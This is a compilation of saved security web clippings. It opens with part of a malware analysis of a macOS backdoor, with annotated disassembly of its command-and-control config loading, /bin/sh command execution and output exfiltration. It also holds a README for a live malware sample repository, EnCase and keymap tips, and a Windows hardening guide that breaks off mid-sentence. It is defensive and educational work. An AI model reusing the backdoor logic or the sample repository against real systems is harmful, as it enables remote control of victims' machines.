            mov     [esp], eax            
                                                            ; save them into config  
            call    _objc_msgSend  
    
[/code]

  
Next, it will open its own file and read command-and-control server details
that are appended at the end of the file. The domain name will then be
resolved with `gethostbyname()` API to obtain the IP address of the server.
Please note that code relies on an existence of the marker `0x013268B2`:  

[code]

      
            mov     [esp+0Ch], ebx  
            mov     dword ptr [esp+8], 214h  
            mov     dword ptr [esp+4], 1  
            lea     esi, [ebp+var_230]  
            mov     [esp], esi  
                                                            ; read config data (0x214 bytes)  
            call    _fread                   
            cmp     eax, 214h  
            jnz     short exit  
            cmp     [ebp+marker], 13268B2h                  ; check marker 0x013268B2  
            jnz     short exit  
            mov     eax, [ebp+Numeric_IP]  
            test    eax, eax                                ; is there numeric IP specified?  
            jnz     short IP_is_Ok                          ; IP exists, skip  
            lea     eax, [ebp+domain_name]                  ; no IP, resolve domain name  
            mov     [esp+4], eax  
            mov     dword ptr [esp], offset DomainName  
            call    _strcpy  
            mov     dword ptr [esp], offset DomainName  
                                                            ; resolve with gethostbyname()  
            call    Domain2Ip                                 
            test    al, al  
            jnz     short next  
            mov     dword ptr [esp], offset DomainToIpError  
                                                            ; log error "Domain to ip error!"  
            call    _NSLog                                    
            mov     dword ptr [esp], 0FFFFFFFFh  
                                                            ; exit  
            call    _exit  
      
    IP_is_Ok:  
      
            mov     [esp+4], esi  
            mov     dword ptr [esp], offset ClientIP  
            call    _strcpy  
      
    next:  
      
            mov     eax, [ebp+server_port]  
            mov     ds:Port, eax  
            mov     [esp], ebx  
                                                            ; close the file  
            call    _fclose  
    
[/code]

  
The presence of the configuration data in the file is visible as:  
  
<img src='img/Temp2_10650.png' />  
  
Following that, the trojan collects system information that includes operating
system version, user/machine name, and then submits it to the remote host.  
  
Finally, the backdoor falls into a loop in which it queries the remote server
and receives the following commands to perform:  

  

  * Shut down the system

  

  * Get system information

  

  * Send the list of processes

  

  * Run shell command

  

  * Enlist files in the directories

  

  * Send over specified file\(s\)

  

  * Receive and save file\(s\)

  

  * Delete specified files and directories

  

  * Execute specified files

  
  
When a shell command is executed, its output will be redirected and submitted
to the server in a separate thread `Thread_Function_RecvCommandDataPv()` as
shown below \(e.g. an `"ls"` command will enlist files and the output with the
enlisted file and directory names will be submitted to the remote server\):  

[code]

      
    Function_Cmd:  
            ...  
            mov     edx, [ebp+var_D4]  
            mov     [esp+8], edx  
            mov     eax, ds:setStandardOutput  
            mov     [esp+4], eax  
            mov     [esp], edi  
            call    _objc_msgSend  
      
            mov     dword ptr [esp+8], offset cfstr_BinSh ; "/bin/sh"  
            mov     eax, ds:setLaunchPath  
            mov     [esp+4], eax  
            mov     [esp], edi  
            call    _objc_msgSend  
      
            mov     eax, ds:launch  
            mov     [esp+4], eax  
            mov     [esp], edi  
            call    _objc_msgSend  
      
            mov     ecx, [ebp+var_D0]  
            mov     [ebp+var_38], ecx  
            mov     [ebp+var_34], esi  
            lea     eax, [ebp+var_38]  
            mov     [esp+0Ch], eax  
            mov     dword ptr [esp+8], offset Thread_Function_RecvCommandDataPv  
            mov     dword ptr [esp+4], 0  
            lea     eax, [ebp+var_30]  
            mov     [esp], eax  
                                                      ; spawn a thread that submits command output  
            call    _pthread_create  
    
[/code]

  
Such arsenal of the remote commands allows turning the compromised MacOS X
system into a zombie, giving full control to the remote attacker.

# dissy - Project Hosting on Google Code

**Created:**| _10/15/2010 1:09:37 PM_  
---|---  
**Updated:**| _10/15/2010 1:10:06 PM_  
**Author:**| __  
**Tags:**| _asm reversing Linux_  
  

Dissy is a graphical frontend to the objdump disassembler. Dissy can be used
for debugging and browsing compiler-generated code.

<img src='img/Temp2_10175.png' />

# Apple MacBook German keyboard layout on Linux console \(thpinfo.com\)

**Created:**| _11/25/2009 2:28:33 PM_  
---|---  
**Updated:**| _11/25/2009 2:28:37 PM_  
**Author:**| __  
**Tags:**| _Lab-Setup_  
  

home • contact • thpinfo.com

2006 / **Apple MacBook German keyboard layout on Linux console**

# Apple MacBook German keyboard layout on Linux console

Until recently, there was no nice keymap for the Apple MacBook and Debian
GNU/Linux to work with. Since `console-data (2:1.01-1)`, however, we now have
a `mac-macbook-de` keymap \(from Helmar Gerloni\).

## Configuring Debian GNU/Linux to use the right keymap for the MacBook

[code]

    $ sudo dpkg-reconfigure console-data
    
[/code]

Now, select the option `Select keymap from full list` and select `mac /
Unknown / German / Standard / MacBook`. debconf should now happily install the
new keymap for you:

[code]

    Looking for keymap to install:
    mac-macbook-de
    
[/code]

If everything went well, you should now have a working keyboard \(and the
right Apple key acting as `AltGr` on the Linux console\).

* * *
Mon May 28 13:59:50 2007 +0000 |   
---|---

# EnCase 101

**Created:**| _7/9/2010 12:12:42 PM_  
---|---  
**Updated:**| _7/9/2010 12:12:42 PM_  
**Author:**| _wishi_  
**Tags:**| _bookmark security tools Forensics_  
  

### How To Load DD Images into EnCase

Version used: EnCase 6.16.2  
  
If you are dealing with a forensic hard drive copy that is in DD format, it is
a simple but not intuitive process to load that drive image into EnCase.  
  
Here’s how you do it.  
  
  
Step 1:  From the File Menu, Select Add Raw Image  
  
  

<img src='img/Menu.JPG' width='400' height='327' />

  
  
  
  
Step 2: Select the type of image you need to load.  Is this example I am going
to load a Disk Image  
  

<img src='img/Add+Raw+Dialog.JPG' width='320' height='280' />

  
  
Step 3: Right click in the Component Files area and Select New  
  

<img src='img/Right+Click+and+select+Add+New.JPG' width='292' height='400' />

  
Step 4: Browse to the folder containing the images and sort them in ascending
order.  
  

<img src='img/DD+Image+Parts.JPG' width='400' height='151' />

  
Step 5:  Select all of the parts of the DD image.  
  

<img src='img/All+Parts+Selected.JPG' width='400' height='146' />

  
Step 6: Click OK to load the image parts into the Component Files dialog.  
  

<img src='img/Dialog+Showing+Components.JPG' width='292' height='400' />

  
Step 7: Click OK again to load the parts into Encase  
  

<img src='img/Mounted+Drive.JPG' width='400' height='342' />

  
  
  
  
You should now see the drive image correctly mounted in EnCase.  
  
_Note: Some earlier versions of EnCase 6 actually required that you sort the
parts in descending order.   If you are using EnCase 6.01 - 6.12 and this does
not work for you, try the process again with the image parts sorted in
descending order._

# fabrimagic72/malware-samples

**Created:**| _5/20/2017 8:59:26 PM_  
---|---  
**Updated:**| _5/20/2017 8:59:26 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis Tutorials_  
  

  

# malware-samples

A collection of malware samples caught by several honeypots i manage

ATTENTION: This repository contains actual malware, do not execute any of
these files on your pc unless you know exactly what you are doing.

All of the malware samples contained in this repository has been collected by
several honeypots installed on different locations all over the world. This is
the result of a distributed honeypot project i am developing with the help of
all of those who want to collaborate. Malware with a generic name such as MD5
value or smbxxx.tmp were not detected as malware by virustotal at the moment
of the upload, but this does not mean it's not malware. please feel free to
download, analyze and reverse all the samples in this repository but please
let me know the results of your investigation. All 7z and zip files are
password protected and the password is "infected" \(without quotes\).

Thanks for you interest.

Fabrizio Monaco

twitter: @fabrimagic

keybase: fabrimagic

  

# Securing Windows Workstations: Developing a Secure Baseline – Active
Directory Security

**Created:**| _11/23/2017 9:30:51 AM_  
---|---  
**Updated:**| _11/23/2017 9:30:51 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

Oct 21

#  Securing Windows Workstations: Developing a Secure Baseline

  * By Sean Metcalf in Microsoft Security, Security Recommendation, Technical Reference

Securing workstations against modern threats is challenging. It seems like
every week there’s some new method attackers are using to compromise a system
and user credentials.

The best way to create a secure Windows workstation is to download the
Microsoft Security Compliance Manager \(currently at version 4.0\) and select
“Security Compliance” option under the operating system version for which you
want to create the security baseline GPO. Review the options, change as
needed, and export as a GPO Backup \(folder\). Create a new empty GPO and
Import the settings from the SCM GPO backup. Then apply this newly created GPO
to your workstations. This will improve your workstation security baseline if
you have minimal security settings already configured, especially if you have
no existing workstation GPO.

<img src='img/Temp2_7299.png' width='2844' height='1143' alt='scm-workstation'
/>

As part of developing your Windows Workstation Security Baseline GPO, there
are several large organizations that have spent time and money determining
what’s “secure”:

  * DoD STIG: http://iase.disa.mil/stigs/os/windows
  * DoD Windows 10 Secure Host Baseline files: https://github.com/iadgov/Secure-Host-Baseline 
  * Australian Information Security Manual: http://www.asd.gov.au/infosec/ism/index.htm
  * CIS Benchmarks: https://benchmarks.cisecurity.org/downloads/browse/?category=benchmarks.os.windows

Microsoft Administrative Templates for controlling settings via Group Policy
are here:

  * Windows 7 & Windows Server 2008 R2: https://www.microsoft.com/en-us/download/details.aspx?id=6243
  * Windows 8.1 & Windows Server 2012 R2: https://www.microsoft.com/en-us/download/details.aspx?id=43413
  * Windows 10 \(v1607\) & Windows Server 2016: https://www.microsoft.com/en-us/download/details.aspx?id=53430
  * Office 2010: https://www.microsoft.com/en-us/download/details.aspx?id=18968
  * Office 2013: https://www.microsoft.com/en-us/download/details.aspx?id=35554
  * Office 2016: https://www.microsoft.com/en-us/download/details.aspx?id=49030

_Note that these locations are subject to change with further updates.  
_Group Policy Settings Reference for Windows and Windows Server _  
_

Windows 10 \(v1607\) & Windows Server 2016 security configuration baseline
settings: https://blogs.technet.microsoft.com/secguide/2016/10/17/security-
baseline-for-windows-10-v1607-anniversary-edition-and-windows-server-2016/

If you already have a GPO configuring workstation security, you can compare
what you have to the SCM generated “Security Compliance” GPO using Microsoft’s
Policy Analyzer.

Beyond the standard “Windows security things”, there are legacy and often
unused components that linger and are carried forward from earlier Windows
versions that are often no longer needed, but kept for compatibility reasons.
This post covers many of these as well as other good security practices and
configuration.

Obviously, you should move to the most recent version of Windows and rapidly
deploy security patches when they are available.  
The following items are recommended for deploying a secure Windows workstation
baseline, though test first since some of these may break things.

Securing Windows Workstation:

  * Deploying Free/Near-Free Microsoft Tools to Improve Windows Security 
    * Deploy Microsoft AppLocker to lock down what can run on the system.
    * Deploy current version of EMET with recommended software settings.
    * Deploy LAPS to manage the local Administrator \(RID 500\) password.
    * Force Group Policy to reapply settings during “refresh”
  * Disable Windows Legacy & Typically Unused Features 
    * Disable Net Session Enumeration \(NetCease\)
    * Disable WPAD
    * Disable LLMNR
    * Disable Windows Browser Protocol
    * Disable NetBIOS
    * Disable Windows Scripting Host \(WSH\) & Control Scripting File Extensions
    * Deploy security back-port patch \(KB2871997\).
    * Prevent local Administrator \(RID 500\) accounts from authenticating over the network
    * Ensure WDigest is disabled
    * Remove SMB v1 support
  * Windows 10 & Windows 2016
    * Windows 10 & 2016 System Image Configuration
    * Block Untrusted Fonts
    * Enable Credential Guard
    * Configure Device Guard
  * Application Security Settings 
    * Disable Microsoft Office Macros
    * Disable Microsoft Office OLE
  * Additional Group Policy Security Settings 
    * Configure Lanman Authentication to a secure setting
    * Configure restrictions for unauthenticated RPC clients
    * Configure NTLM session security

## **Free or Near Free Microsoft Tools to Improve Windows Security**

### **Deploy AppLocker to lock down what can run on the system**

Microsoft AppLocker provides out of the box application whitelisting
capability for Windows.

It is highly recommended to use AppLocker to lock down what can be executed on
Windows workstations and servers that require high levels of security.

AppLocker can be used to limit application execution to specific approved
applications. There are several difference phases I recommend for AppLocker:

  * Phase 1: Audit Mode – audit all execution by users and the path they were run from. This logging mode provides information on what programs are run in the enterprise and this data is logged to the event log.
  * Phase 2: “Blacklist Mode” – Configure AppLocker to block execution of any file in a user’s home directory, profile path, and temporary file location the user has write access to, such as c:\temp.
  * Phase 3: “Folder Whitelist Mode” – Configure AppLocker to build on Phase 2 by adding new rules to only allow execution of files in specific folders such as c:\Windows and c:\Program Files.
  * Phase 4: “Application Whitelisting” – Inventory all applications in use in the enterprise environment and whitelist those applications by path and/or file hash \(preferably digital signature\). This ensures that only approved organization applications will execute.

AppLocker Group Policies are created and managed here:

  * Computer Configuration\Policies\Windows Settings\Security Settings\Application Control Policies\AppLocker

Review the AppLocker Policies Design Guide for deployment help.

**Expected Level of Effort:  
**Medium High

**Expected Impact:**  
_This is likely to break things in the enterprise, please test first._

### **Deploy current version ofEMET with recommended software settings**

Microsoft Enhanced Mitigation Experience Toolkit \(EMET\) helps prevent
application vulnerabilities from being exploited \(including mitigating many
0-days\). It’s a free product that effectively “wraps” popular applications so
when vulnerability exploitation is attempted, the attempt is stopped at the
“wrapper” and doesn’t make it to the OS.

There are several profiles for deployment:

  * Default configuration.
  * Recommended Software.
  * Popular Software.

At the very least, deploy EMET with the default configuration to harden core
applications.  
Use the EMET administration templates \(EMET.admx & EMET.adml\) enable EMET
management via GPO and are found in the <SystemDrive>\Program
Files\EMET\Deployment\Group Policy Files folder on a system with EMET
installed. Copy these to the Active Directory GPO Central Store.

Customize EMET configuration via Group Policy

Test with applications since some “more secure” settings may cause crashes
with programs like Outlook and Chrome as well as some security software.

_Note that Microsoft EMET is End of Life \(EOL\) in 2018 since it was
developed by Microsoft to help improve certain elements of Windows security
when it was released. Windows 10 includes greatly improved security which
exceeds most of the EMET enhancements._

**Expected Level of Effort:**  
Medium

**Expected Impact:**  
_This may break things in the enterprise, please test first._

### **UseLAPS to manage the local Administrator \(RID 500\) password**

Microsoft Local Administrator Password Solution \(LAPS\) provides automated
local administrator account management for every computer in Active Directory
\(LAPS is best for workstation local admin passwords\). A client-side
component installed on every computer generates a random password, updates the
\(new\) LAPS password attribute on the associated AD computer account, and
sets the password locally. LAPS configuration is managed through Group Policy
which provides the values for password complexity, password length, local
account name for password change, password change frequency, etc.

LAPS Deployment Information

**Expected Level of Effort:**  
Low to Medium

**Expected Impact:**  
_This may break things in the enterprise, please test first._

### Force Group Policy to reapply settings during “refresh”

The default Group Policy application behavior is to “refresh the group policy”
on the client, though this doesn’t actually mean the GPO settings are re-
applied. By default, the GPO’s settings are only reapplied if the GPO was
modified prior to the refresh. This means that one could reverse a GPO
enforced setting via the computer’s registry \(typically with admin rights\)
and the unauthorized setting remains until the GPO is modified \(if it ever
is\), after which the GPO settings are re-applied.

After testing, change the Group Policy default setting to re-apply GPO
settings at every refresh – “Process even if the Group Policy objects have not
changed”. This does have a potential performance hit on the client, but will
ensure all GPO enforced settings are re-applied.

_Computer Configuration, Policies, Administrative Templates, System, Group
Policy, Configure security policy processing_ : Set to Enabled.  
Also check the box for “ _Process even if the Group Policy objects have not
changed_ ”

It’s also recommended to configure the same settings for each of the
following:

  * _Computer Configuration, Policies, Administrative Templates, System, Group Policy, Configure registry policy processing_
  * _Computer Configuration, Policies, Administrative Templates, System, Group Policy, Configure scripts policy processing_
  * As well as any other policy settings as needed.

<img src='img/Temp2_7296.png' width='618' height='716' alt='GPO-Enforce' />

### **Enable LSA Protection/Auditing  
**

Starting with Windows 8.1/Windows Server 2012 R2, LSA Protection can be
enabled with a registry key addition to prevent unsigned code from interacting
with LSASS \(like Mimikatz\). Before enabling LSA Protection, it’s a best
practice to enable LSA Auditing to know what code may be interacting with
LSASS which would be blocked otherwise.

From Microsoft’s “Configuring Additional LSA Protection“:

_The LSA, which includes the Local Security Authority Server Service \(LSASS\)
process, validates users for local and remote sign-ins and enforces local
security policies. The Windows 8.1 operating system provides additional
protection for the LSA to prevent reading memory and code injection by non-
protected processes. This provides added security for the credentials that the
LSA stores and manages. The protected process setting for LSA can be
configured in Windows 8.1, but it cannot be configured in Windows RT 8.1. When
this setting is used in conjunction with Secure Boot, additional protection is
achieved because disabling the
HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa registry key has no
effect._

  
Protected process requirements for plug-ins or drivers

_For an LSA plug-in or driver to successfully load as a protected process, it
must meet the following criteria:_

  1. _Signature verification_ _Protected mode requires that any plug-in that is loaded into the LSA is digitally signed with a Microsoft signature. Therefore, any plug-ins that are unsigned or are not signed with a Microsoft signature will fail to load in LSA. Examples of these plug-ins are smart card drivers, cryptographic plug-ins, and password filters._
_LSA plug-ins that are drivers, such as smart card drivers, need to be signed
by using the WHQL Certification. For more information, seeWHQL Release
Signature \(Windows Drivers\)._

_LSA plug-ins that do not have a WHQL Certification process, must be signed by
using thefile signing service for LSA._

  2. _Adherence to the Microsoft Security Development Lifecycle \(SDL\) process guidance_ _All of the plug-ins must conform to the applicable SDL process guidance. For more information, see theMicrosoft Security Development Lifecycle \(SDL\) Appendix._
_Even if the plug-ins are properly signed with a Microsoft signature, non-
compliance with the SDL process can result in failure to load a plug-in._

_  
Recommended practices_

___Use the following list to thoroughly test that LSA protection is enabled
before you broadly deploy the feature:_

  * _Identify all of the LSA plug-ins and drivers that are in use within your organization. This includes non-Microsoft drivers or plug-ins such as smart card drivers and cryptographic plug-ins, and any internally developed software that is used to enforce password filters or password change notifications._
  * _Ensure that all of the LSA plug-ins are digitally signed with a Microsoft certificate so that the plug-in will not fail to load._
  * _Ensure that all of the correctly signed plug-ins can successfully load into LSA and that they perform as expected._
  * _Use the audit logs to identify LSA plug-ins and drivers that fail to run as a protected process._

Before opting in: How to identify plug-ins and drivers loaded by the lsass.exe

You can use the audit mode to identify LSA plug-ins and drivers that will fail
to load in LSA Protection mode. While in the audit mode, the system will
generate event logs, identifying all of the plug-ins and drivers that will
fail to load under LSA if LSA Protection is enabled. The messages are logged
without blocking the plug-ins or drivers.

To enable the audit mode for Lsass.exe on a single computer by editing the
Registry

  1. Open the Registry Editor \(RegEdit.exe\), and navigate to the registry key that is located at: HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe.
  2. Set the value of the registry key to **AuditLevel=dword:00000008**.
  3. Restart the computer.

Analyze the results of event 3065 and event 3066.

  * Event 3065: This event records that a code integrity check determined that a process \(usually lsass.exe\) attempted to load a particular driver that did not meet the security requirements for Shared Sections. However, due to the system policy that is set, the image was allowed to load.
  * Event 3066: This event records that a code integrity check determined that a process \(usually lsass.exe\) attempted to load a particular driver that did not meet the Microsoft signing level requirements. However, due to the system policy that is set, the image was allowed to load.

**Expected Level of Effort:**  
Low to Medium

**Expected Impact:**  
_This may break things in the enterprise, please test first._

## **Disable Windows Legacy & Typically Unused Features:  
**

### **Disable Net Session Enumeration \(NetCease\)**

By default, Windows computers allow any authenticated user to enumerate
network sessions to it. This means an attacker could enumerate network
sessions to a file share hosting home directories or a Domain Controller to
see who’s connected to SYSVOL \(to apply Group Policy\) and determine which
workstations each user and admin account is logged into. Bloodhound uses this
capability extensively to map out credentials in the network.

Disabling Net Session Enumeration removes the capability for any user to
enumerate net session info \(Recon\).

These settings can also be deployed via Group Policy:

  * Run the NetCease PowerShell script on a reference workstation.
  * Open the **Group Policy Management Console**. Right-click the Group Policy object \(GPO\) that should contain the new preference item, and then click **Edit** .
  * In the console tree under **Computer Configuration** , expand the **Preferences** folder, and then expand the **Windows Settings** folder.
  * Right-click the **Registry** node, point to **New** , and select **Registry Wizard** .
  * Select the reference workstation on which the desired registry settings exist, then click **Next** .
  * Browse to _HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity_ \  
and select the check box for “SrvsvcSessionInfo” from which you want to create
a Registry preference item. Select the check box for a key only if you want to
create a Registry item for the key rather than for a value within the key.

  * Click **Finish** . The settings that you selected appear as preference items in the Registry Wizard Values collection.

**Expected Level of Effort:  
**Low – Medium

**Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

### **DisableWPAD**

Web Proxy Auto-Discovery Protocol \(WPAD\) is “a method used by clients to
locate the URL of a configuration file using DHCP and/or DNS discovery
methods. Once detection and download of the configuration file is complete, it
can be executed to determine the proxy for a specified URL.”

Disabling WPAD removes a method Responder uses for passive credential theft.
Only disable if not used in environment.

Disable WPAD via Group Policy by deploying the following:

  * HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad
  * New DWORD \(32-Bit Value\) called “WpadOverride” and set to “1”

Disable the service “WinHTTP Web Proxy Auto-Discovery Service”

  * Computer Configuration/Policies/Windows Settings/Security Settings/System Services

Note:  
Partial mitigation of WPAD issues is possible by installing the Microsoft
patch KB3165191 \(MS16-077\).  
This patch hardens the WPAD process and when the system responds to NetBIOS
requests.

**Expected Level of Effort:  
**Low-High

**  
Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

### **DisableLLMNR**

Link-Local Multicast Name Resolution \(LLMNR\):  
_In a nutshell, Link-Local Multicast Name Resolution \(LLMNR\) resolves single
label names \(like: COMPUTER1\), on the local subnet, when DNS devolution is
unable to resolve the name. This is helpful if you are in an Ad-Hoc network
scenario, or in a scenario where DNS entries do not include hosts on the local
subnet._ LLMNR should be disabled if not used since disabling it removes a
method Responder uses for passive credential theft.**Group Policy:** Computer
Configuration/Administrative Templates/Network/DNS Client

  * Set “Turn Off Multicast Name Resolution” to “Enabled”

**Expected Level of Effort:  
**Low

**Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

### **DisableWindows Browser Protocol \(Browser Service\) **

The Browser service \(Browser protocol\) was used by Windows NT to discover
and share information on resources on the local network. This process works by
broadcasting on the network and gathering results of this broadcast. A network
broadcast is a little like yelling in a room full of people to find a friend
every 30 seconds \(once you find your friend you note their location, but may
forget a little while later and have to re-discover their current location\).
In order to make this process somewhat less inefficient, a “Master Browser” is
elected on each subnet which tracks resources and responds to these resource
broadcast requests. In a Windows domain, the PDC acts as the Domain Master
Browser to which these subnet Master Browsers forward resource information.
Resource discovery using Windows Browser broadcasts was ultimately replaced by
Windows Internet Name Service \(WINS\) and then Active Directory \(with DNS\).
While the necessity of the Browser service has been reduced to almost nil, the
Computer Browser service in Windows has continued up through Windows 10 and
Windows Server 2012 R2 \(though the service was removed in Windows 10 v1607 &
Windows Server 2016\).

The Windows Browser protocol is another method used by Responder to passively
steal credentials.

The Windows Computer Browser service is set to manually start up, though
usually starts at Windows start.

<img src='img/Temp2_7305.png' width='878' height='23'
alt='computerbrowserservicerunning' />

The simple method to disable the Windows browser protocol is to disable the
Computer Browser service.

<img src='img/Temp2_7302.png' width='884' height='20'
alt='computerbrowserservicedisabled-stopped' />

In Windows 10 v1607 \(aka “Anniversary Update”\) and Windows Server 2016, the
Computer Browser service was removed and is no longer available.

<img src='img/Temp2_7303.png' width='510' height='79'
alt='windows10-1607-nocomputerbrowserservice' />

Disable the Computer Browser via Group Policy:

  * Open the Group Policy Management Console. Right-click the Group Policy object \(GPO\) that requires modification, and then click Edit .
  * In the console tree under Computer Configuration, expand Policies folder, expand Windows Settings, expand Security Settings, and then expand the System Services folder.
  * Scroll down to the “Computer Browser” service, right-click on the service name, and select Properties.
  * Check the box to “Define this policy setting”, select Disabled as the service startup mode, and click OK.

Note: Group Policy Preferences can also be used to manage services.

**Expected Level of Effort:  
**Low

**Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

### **DisableNetBIOS**

NetBIOS is one of the earliest protocols used by Windows.

> NetBIOS over TCP/IP is specified by RFC 1001 and RFC 1002. The Netbt.sys
> driver is a kernel -mode component that supports the TDI interface. Services
> such as workstation and server use the TDI interface directly, while
> traditional NetBIOS applications have their calls mapped to TDI calls
> through the Netbios.sys driver. Using TDI to make calls to NetBT is a more
> difficult programming task, but can provide higher performance and freedom
> from historical NetBIOS limitations.
> NetBIOS defines a software interface and a naming convention, not a
> protocol. NetBIOS over TCP/IP provides the NetBIOS programming interface
> over the TCP/IP protocol, extending the reach of NetBIOS client and server
> programs to the IP internetworks and providing interoperability with various
> other operating systems.
> The Windows 2000 workstation service, server service, browser, messenger,
> and NetLogon services are all NetBT clients and use TDI to communicate with
> NetBT. Windows 2000 also includes a NetBIOS emulator. The emulator takes
> standard NetBIOS requests from NetBIOS applications and translates them to
> equivalent TDI functions.
> Windows 2000 uses NetBIOS over TCP/IP to communicate with prior versions of
> Windows NT and other clients, such as Windows 95. However, the Windows 2000
> redirector and server components now support direct hosting for
> communicating with other computers running Windows 2000. With direct
> hosting, NetBIOS is not used for name resolution. DNS is used for name
> resolution and the Microsoft networking communication is sent directly over
> TCP without a NetBIOS header. Direct hosting over TCP/IP uses TCP port 445
> instead of the NetBIOS session TCP port 139.
Most versions of Windows in use, can leverage Direct hosting of SMB over
TCP/IP, meaning the use of NetBIOS on a network today is only to support
legacy systems.

In 2005, Daniel Miessler wrote:

> In fact, one can completely disable NetBIOS over TCP/IP on a Windows 2000/XP
> machine since these new operating systems \(via TCP/445\) have SMB riding
> _directly_ on top of TCP rather than on NetBIOS. Microsoft calls this the
> “direct hosting” of SMB.
Disabling NetBIOS requires some work to determine how and where it’s being
used on the network. Disabling it removes a method Responder uses for passive
credential theft.

Noted that NetBIOS may be required for legacy systems \(older versions of
Windows, non-Windows systems, etc\).

**Disable NetBIOS via \(Microsoft\) DHCP:**

Open Microsoft DHCP.

  * In the navigation pane, expand SERVERNAME, expand Scope, right-click Scope Options, and then click Configure Options.
  * Click the Advanced tab, and then click Microsoft Windows 2000 Options in the Vendor class list.
  * Make sure that Default User Class is selected in the User class list.
  * Click to select the 001 Microsoft Disable Netbios Option check box, under the Available Options column.
  * In the Data entry area, type 0x2 in the Long box, and then click OK.

Reference: Disabling NetBIOS

On Linux/Unix based DHCP servers, setting option 43 configures DHCP to disable
NetBIOS

  * option 43 hex 0104.0000.0002

**Disable NetBIOS on the Computer:**

Go to the properties of all network devices on the computer, TCPIPv4
Properties, Advanced, WINS, Disable NetBIOS over TCP/IP

<img src='img/Temp2_7308.png' width='361' height='557' alt='disable-netbios-
computer-nic' />

**Expected Level of Effort:**  
Medium-High

**Expected Impact:**  
_This is very likely to break things in the enterprise, so please test
extensively first._

### **DisableWindows Script Host \(WSH\) File Extensions \(and others that
execute code\)  
**

A common method for attackers is to embed or attach a WSH associated file in
an email or attached document in order for a user. Disable the WSH extensions
not used in the environment by associating them with notepad.exe \(this forces
the files to be opened in Notepad instead of with WSH\). If the organization
uses batch files or VBScript, those should be evaluated for disabling prior to
changing the file extension. Note that PowerShell files \(.ps1, etc\) already
open by default in notepad.

WSH extensions:

  * JScript: .js, .jse \[_disabling not likely to cause issues, please test first_\].
  * Windows Scripting files: .wsf, .wsh \[_disabling not likely to cause issues, please test first_\].
  * VBScript: .vbs, .vbe \[_disabling may cause issues if still using VBScript, please test first_\].
  * HTML for Applications: .hta \[_disabling not likely to cause issues, please test first_\].
  * CMD Batch: .bat, .cmd \(be careful with .cmd\) \[_disabling may cause issues if using batch files, please test first_\].
  * Visual Basic for Applications: Most VBA code is run in another filetype, however .mod opens as video file \[_disabling not likely to cause issues, please test first_\].

Disabling JScript & Wscript should have minimal impact, though test before
disabling VBScript.

The following registry key disables Windows Scripting, though doing so doesn’t
disable it in SCT or ActiveScriptEventConsumer.

  * HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings
  * Add new DWORD value “Enabled” and set to “0”

To disable for specific users, the following may be performed:

HKEY\_CURRENT\_USER\SOFTWARE\Microsoft\Windows Script Host\Settings value
“Enabled” and set to “0”

**Group Policy:**  
File extensions that open in scripting engines can be modified to open in
Notepad via GPO:

  * Open the Group Policy Management Console. Right-click the Group Policy object \(GPO\) that should contain the new preference item, and then click Edit .
  * Go to User Configuration > Preferences > Control Panel Settings.
  * Right click on Folder Options, Click New, Open With.
  * In “File Extension”, Enter the extension and then provide the path to the program which will open this file extension. You can also opt to “Set as default”. Click OK.
  * Repeat for each file type.

Disable Windows Scripting Host in the registry via GPO:

  * Configure the registry setting on a reference workstation  
HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings\Enabled =
“0”

  * Open the Group Policy Management Console. Right-click the Group Policy object \(GPO\) that should contain the new preference item, and then click Edit .
  * In the console tree under Computer Configuration, expand the Preferences folder, and then expand the Windows Settings folder.
  * Right-click the Registry node, point to New , and select Registry Wizard .
  * Select the reference workstation on which the desired registry settings exist, then click Next .
  * Browse to HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows Script Host\Settings\  
and select the check box for “Enabled” from which you want to create a
Registry preference item. Select the check box for a key only if you want to
create a Registry item for the key rather than for a value within the key.

  * Click Finish. The settings that you selected appear as preference items in the Registry Wizard Values collection.

**Expected Level of Effort:**  
Low to Medium High

**Expected Impact:**  
_This may break things in the enterprise, please test first._

### **Deploy security back-port patch \(KB2871997\)**

Ensure all Windows systems prior to Windows 8.1 & Windows Server 2012 R2 have
the KB2871997 patch installed. This patch updates earlier supported versions
of Windows with security enhancements baked into Windows 8.1 & Windows Server
2012 R2.

Additional protections in kb2871997

**Expected Level of Effort:  
**Low

**Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

### **Prevent local “administrator” accounts from authenticating over the
network**

While the local Administrator \(RID 500\) account on two different computers
has a different SID, if they have the same account name and password, the
local Administrator account from one can authenticate as Administrator on the
other. The same is true with any local account that is duplicated on multiple
computers.

This presents a security issue if multiple \(or all\) workstations in an
organization have the same account name and password since compromise of one
workstation results in compromise of all.

Windows 8.1 & Windows 2012 R2 and newer introduced two new local SIDs:

  * S-1-5-113: NT AUTHORITY\Local account
  * S-1-5-114: NT AUTHORITY\Local account and member of Administrators group

These SIDs are also added in earlier supported versions of Windows by
installing the KB2871997 patch.

**  
Local account network access behavior can be changed via Group Policy:**

Computer Configuration\Windows Settings\Local Policies\User Rights Assignment

  * Deny access to this computer from the network: Local account and member of Administrators group
  * Deny log on through Remote Desktop Services: Local account and member of Administrators group

Note that using “Local account” instead also provides the same level of
protection as well as blocking all local users from authenticating in this
manner.

**Expected Level of Effort:  
**Low to Medium

**Expected Impact:**  
_This is not likely to break things in the enterprise, but please test first._

### **EnsureWDigest is disabled**

WDigest provides support for Digest authentication which is:  
_“An industry standard that is used in Windows Server 2003 for Lightweight
Directory Access Protocol \(LDAP\) and Web authentication. Digest
Authentication transmits credentials across the network as an MD5 hash or
message digest.”_  
Prior to Windows 8.1 and Windows Server 2012 R2, Wdigest was enabled which
placed the user’s “clear text” password in LSASS memory space in order to
support basic authentication scenarios.Windows 8.1 and Windows Server 2012 R2
and newer have WDigest disabled by default by adding and setting the following
registry
